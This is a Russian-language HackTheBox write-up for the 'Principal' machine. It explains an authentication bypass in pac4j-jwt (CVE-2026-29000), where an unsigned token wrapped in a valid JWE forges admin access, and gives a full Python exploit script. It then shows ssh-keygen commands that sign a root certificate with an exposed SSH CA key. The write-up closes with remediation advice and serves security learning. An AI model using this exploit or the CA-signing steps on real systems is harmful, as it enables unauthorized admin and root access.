
Всем привет, меня зовут Артем Маркелов, и я специалист по анализу защищенности в компании SecWare. Мы занимаемся поиском сложных уязвимостей, аудитом корпоративных сетей и в целом тем, что принято называть информационной безопасностью. В свободное от работы время мы с ребятами решаем задачи на HackTheBox – лично для меня это и отдых, и прокачка скиллов, и способ оставаться в тонусе.
Недавно на площадке мне попалась машина Principal. Средний уровень сложности, но концептуально очень интересная. Оба этапа атаки (первоначальный доступ и повышение привилегий) построены на одной и той же фундаментальной ошибке: проверка криптографической оболочки без валидации содержимого внутри нее. Это не просто цепочка уязвимостей, а демонстрация того, как один принцип проявляется в двух совершенно разных технологиях – JWT/JWE и SSH Certificate Authority.
TL;DR
В данной HackTheBox-машине для получения первоначального доступа эксплуатируется CVE-2026-29000 – обход аутентификации в библиотеке pac4j-jwt, в которой токен PlainJWT без цифровой подписи и завернутый в валидный конверт JWE полностью обходит проверку подписи. После подделки токена администратора и извлечения аутентификационных данных SSH из корпоративной панели управления для повышения привилегий используются недостатки в конфигурации центра сертификации SSH, который доверяет любому сертификату. Имя пользователя (principal) не проверяется, что и позволяет подделать сертификат для root.
Цепочка атаки выглядит следующим образом:
Обнаружение pac4j-jwt/6.0.3;
Получение JWKS – публичного ключа RSA;
Эксплуатация CVE-2026-29000 – PlainJWT в JWE;
Подделка токена администратора;
Доступ к API – /api/users, /api/settings;
Извлечение учетных данных svc-deploy;
SSH как svc-deploy;
Получение флага пользователя;
Поиск доступных файлов – /opt/principal/ssh/ca;
Генерация ключевой пары Ed25519;
Подпись сертификата с principal root;
SSH как root по сертификату;
Получение флага администратора.
Разведка
Первым шагом является сканирование IP-адреса цели для выявления незащищенных служб. Для этого запускаем nmap:
nmap -sCV 10.129.15.98

Здесь сразу видим несколько ключевых находок:
Jetty на 8080 – Java-сервер, скорее всего Spring или аналогичный фреймворк;
pac4j-jwt/6.0.3 – конкретная библиотека с указанием конкретной версии. pac4j – это Java-фреймворк аутентификации, JWT – это модуль, который работает с токенами. Версия 6.0.3 вышла не так давно, но можем поискать на нее свежие уязвимости;
OpenSSH 9.6 – относительно свежая версия, маловероятны уязвимости самого демона, но возможно, есть ошибки в конфигурации.
Запускаем Burp Suite, открываем браузер, видим форму логина "Principal Internal Platform". Внизу страницы – версия и технологии: v1.2.0 | Powered by pac4j.

Пробуем стандартные креды (admin/admin, admin/password) – получаем ошибку, но в HTTP History в Burp Suite видим, что запрос уходит на /api/auth/login.

Также в HTTP History видим запрос к /static/js/app.js.

Взглянем поближе на JavaScript-файл, который содержит детальные комментарии разработчика.

Из JS-файла узнаем несколько полезных моментов:
Параметр | Значение | Значимость для атаки |
JWE-алгоритм | RSA-OAEP-256 + A128GCM | Асимметричное шифрование, нужен публичный ключ |
JWS-алгоритм | RS256 | Асимметричная подпись, ключ не экспонируется |
Конечная точка JWKS | /api/auth/jwks | Отсюда получим публичный ключ для шифрования |
Структура | sub, role, iss, iat, exp | Известная структура payload |
Запрашиваем JWKS (JSON Web Key Set).

На скриншоте видим:
Обнаружение pac4j-jwt/6.0.3;
kty: тип ключа RSA;
e: AQAB – стандартная экспонента 65537;
kid: enc-key-1 – ID ключа, подсказка, что это ключ шифрования;
n – сам публичный ключ.
В JWKS только один ключ, и он предназначен для шифрования (по полю kid). Ключа для проверки подписи нет – подпись проверяется сервером своим приватным ключом, публичный клиенту не нужен.
Момент X: находим баг в коде pac4j
Чтобы понять уязвимость, нужно разобраться в архитектуре фреймворка. Pac4j поддерживает разные комбинации JWT:
Тип | Структура | Описание |
PlainJWT | header.payload | Без подписи, alg: none |
SignedJWT (JWS) | header.payload.signature | Только подпись |
EncryptedJWT (JWE) | header.encryptedKey.iv.ciphertext.authTag | Только шифрование |
Signed then Encrypted | JWS внутри JWE | Сначала подпись, потом шифрование |
В HackTheBox-машине используется последний вариант: подписанный JWT заворачивается в JWE. При такой структуре сервер должен:
Расшифровать внешний JWE своим приватным RSA-ключом.
Получить внутренний JWT.
Проверить подпись внутреннего JWT публичным ключом.
Извлечь claims и авторизовать пользователя.
Смотрим исходники pac4j-jwt 6.0.3 (класс JwtAuthenticator). Ниже приведён фрагмент метода validate, содержащий уязвимость:
public void validate(TokenCredentials credentials, WebContext context) { String token = credentials.getToken(); if (isEncrypted(token)) { EncryptedJWT encryptedJWT = EncryptedJWT.parse(token); encryptedJWT.decrypt(decrypter); JWT innerJWT = encryptedJWT.getPayload().toJWT(); SignedJWT signedJWT = innerJWT.toSignedJWT(); if (signedJWT != null) { // Ветка A: есть подпись, проверяем if (!signatureVerifier.verify(signedJWT)) { throw new BadCredentialsException("Invalid signature"); } } else { // Ветка B: подписи нет (signedJWT == null) // Ошибка: просто продолжаем, не проверяем подпись logger.debug("No signature found, continuing..."); } Map<String, Object> claims = innerJWT.getJWTClaimsSet().getClaims(); createProfile(claims); } }
Метод innerJWT.toSignedJWT() предпринимает попытку преобразовать внутренний JWT в SignedJWT. В соответствии с условным оператором, при signedJWT == null исполняется ветка B, которая не выбрасывает исключение, а лишь логирует отладочное сообщение. После этого выполнение продолжается, и claims извлекаются из неподписанного токена.
Уязвимость заключается в отсутствии обработки случая, когда toSignedJWT() возвращает null. Никакой проверки. Корректная реализация должна либо выбрасывать исключение в ветке B, либо требовать обязательного наличия подписи (signedJWT != null) для продолжения обработки.
Найденная ошибка – не теория. NIST подтверждает CVE-2026-29000:
Версии pac4j-JWT до 4.5.9, 5.7.9 и 6.3.3 содержат уязвимость обхода аутентификации в JwtAuthenticator при обработке зашифрованных JWT, что позволяет удаленным злоумышленникам подделывать токены аутентификации. Злоумышленники, обладающие публичным ключом RSA сервера, могут создать PlainJWT, обернутый JWE, с произвольными требованиями субъекта и роли, обходя проверку подписи для аутентификации как любой пользователь, включая администраторов. | ||
Конструирование эксплойта
Для эксплуатации выявленной уязвимости нам понадобится:
Публичный RSA-ключ сервера (получен на этапе разведки через эндпоинт /api/auth/jwks).
Известная структура payload (формат claims: sub, role, iss, iat, exp).
Процесс конструирования поддельного токена включает следующие шаги:
# Шаг 1. Получение публичного ключа из JWKS jwks = requests.get(f"http://{ip}:8080/api/auth/jwks").json() key = jwks['keys'][0] n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big') e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big') pub = rsa.RSAPublicNumbers(e, n).public_key(backend=default_backend()) pem = pub.public_bytes(encoding=serialization.Encoding.PEM, # Шаг 2. Создание PlainJWT с произвольными claims header = {"alg": "none", "typ": "JWT"} payload = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform", "iat": int(time.time()), "exp": int(time.time()) + 3600} b64h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode() b64p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode() plain_jwt = f"{b64h}.{b64p}." # Шаг 3. Упаковка PlainJWT в JWE token = jwe.encrypt(plain_jwt.encode(), pem, algorithm=Algorithms.RSA_OAEP_256, encryption=Algorithms.A128GCM).decode()
Ниже – готовый эксплойт, реализованный на Python с использованием библиотеки python-jose:
#!/usr/bin/env python3 import json, base64, time, requests from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from jose import jwe from jose.constants import Algorithms ip = input("IP: ") jwks = requests.get(f"http://{ip}:8080/api/auth/jwks").json() key = jwks['keys'][0] n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big') e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big') pub = rsa.RSAPublicNumbers(e, n).public_key(backend=default_backend()) pem = pub.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo).decode() header = {"alg": "none", "typ": "JWT"} payload = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform", "iat": int(time.time()), "exp": int(time.time()) + 3600} b64h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode() b64p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode() plain_jwt = f"{b64h}.{b64p}." token = jwe.encrypt(plain_jwt.encode(), pem, algorithm=Algorithms.RSA_OAEP_256, encryption=Algorithms.A128GCM).decode() print("Token:", token) print()
Полученный JWE передаётся серверу в заголовке Authorization: Bearer <token>. Используя свой приватный RSA-ключ, сервер успешно расшифровывает JWE, извлекает PlainJWT, обнаруживает отсутствие подписи, но (в силу уязвимости) продолжает обработку и извлекает claims sub=admin, role=ROLE_ADMIN.
Запускаем скрипт и вводим IP-адрес цели:
python3 poc.py

Получаем поддельный JWT администратора.
Успех: API открылся, пароль найден
С помощью Burp Suite Repeater отправляем запрос на /api/users и /api/settings, используя полученный токен.
В ответе на запрос к /api/users находим пользователя с пометкой «Service account for automated deployments via SSH certificate auth.». Данный сервисный аккаунт используется для автоматического развертывания с помощью SSH-сертификата.


Получаем доступ к машине по SSH как пользователь svc-deploy. По стандарту в директории пользователя находим флаг:
ssh svc-deploy@10.129.244.220

Повышение привилегий: ошибка в SSH CA
Из описания машины узнаем, что в ней используется SSH CA. Стандартный SSH использует публичные ключи: authorized_keys содержит список доверенных ключей. SSH CA, в свою очередь, работает как альтернатива классическому методу авторизации по публичным ключам, позволяя централизованно управлять доступом без необходимости распространять ключи на все серверы.
В классическом виде архитектура SSH CA выглядит примерно так:

В этой схеме существуют три основных компонента: сам сервер SSH (sshd), который настроен доверять определенному Certification Authority, клиент, который предъявляет сертификат для аутентификации, и механизм проверки полномочий. Когда клиент пытается подключиться, он отправляет сертификат, представляющий собой его публичный ключ, подписанный приватным ключом CA с дополнительными метаданными. Сервер проверяет подпись публичным ключом CA, указанным в директиве TrustedUserCAKeys, и, если подпись валидна, извлекает из сертификата список principals – имен пользователей, от имени которых разрешен вход.
После получения доступа к системе под учетной записью svc-deploy, читаем файлы конфигурации SSH:
svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf

PermitRootLogin установлен в prohibit-password, что означает, что вход под root с использованием пароля заблокирован. Однако, аутентификация на основе сертификата разрешена. Также указан путь до приватного ключа CA. С помощью него можем подписать сертификат от имени любого пользователя, какого захотим, включая root.
Необходимо сгенерировать ключевую пару, подписать сертификат с principal root и, собственно, подключиться.
Генерируем Ed25519 ключ:
svc-deploy@principal:~$ ssh-keygen -t ed25519 -f /tmp/pwn -N ""

Подписываем сертификат, используя найденный приватный ключ CA:
svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca -n root -I x -V +1h /tmp/pwn.pub

Используем полученный сертификат для подключения по SSH как root:
svc-deploy@principal:~$ ssh -i /tmp/pwn root@localhost

Вывод
Оба этапа атаки объединяет одна и та же фундаментальная ошибка: доверие к формату (криптографической оболочке) без проверки содержимого.
В случае с JWT шифрование JWE было валидным, поэтому сервер не проверил подпись внутри. В случае с SSH CA сертификат был подписан доверенным CA, поэтому сервер не проверил имя пользователя в principal.
Рекомендации по устранению
Как полагается, в конце статьи приведем рекомендации по устранению тех уязвимостей, с которыми столкнулись при решении HackTheBox-машины.
Устранение CVE-2026-29000:
Обновить pac4j-jwt до версии 6.3.3 или выше;
Разрешать только ожидаемые алгоритмы (RS256 и т.д.), запрещать none;
Проверять подпись до извлечения claims.
Усиление SSH CA:
Настроить AuthorizedPrincipalsFile в файле /etc/ssh/auth_principals/(системный_пользователь);
Ограничить principals для привилегированных пользователей (root);
Разделить центры сертификации по зонам ответственности;
Аудировать выданные сертификаты.
